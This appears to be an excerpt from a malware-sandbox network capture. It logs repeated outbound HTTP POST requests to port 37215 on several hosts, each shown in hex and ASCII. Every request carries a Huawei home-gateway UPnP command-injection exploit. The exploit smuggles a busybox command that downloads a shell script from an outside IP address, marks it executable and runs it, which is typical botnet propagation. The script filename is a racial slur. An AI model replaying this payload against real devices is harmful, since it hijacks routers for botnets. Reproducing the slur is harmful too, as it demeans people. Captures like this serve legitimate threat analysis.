Feb 19, 2024 18:37:27.204289913 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.883568048 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306696892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	54336	45.135.237.89	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.828553915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.380438089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:27.204277992 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.883563995 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:38.306687117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	49650	45.207.144.246	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:23.829978943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
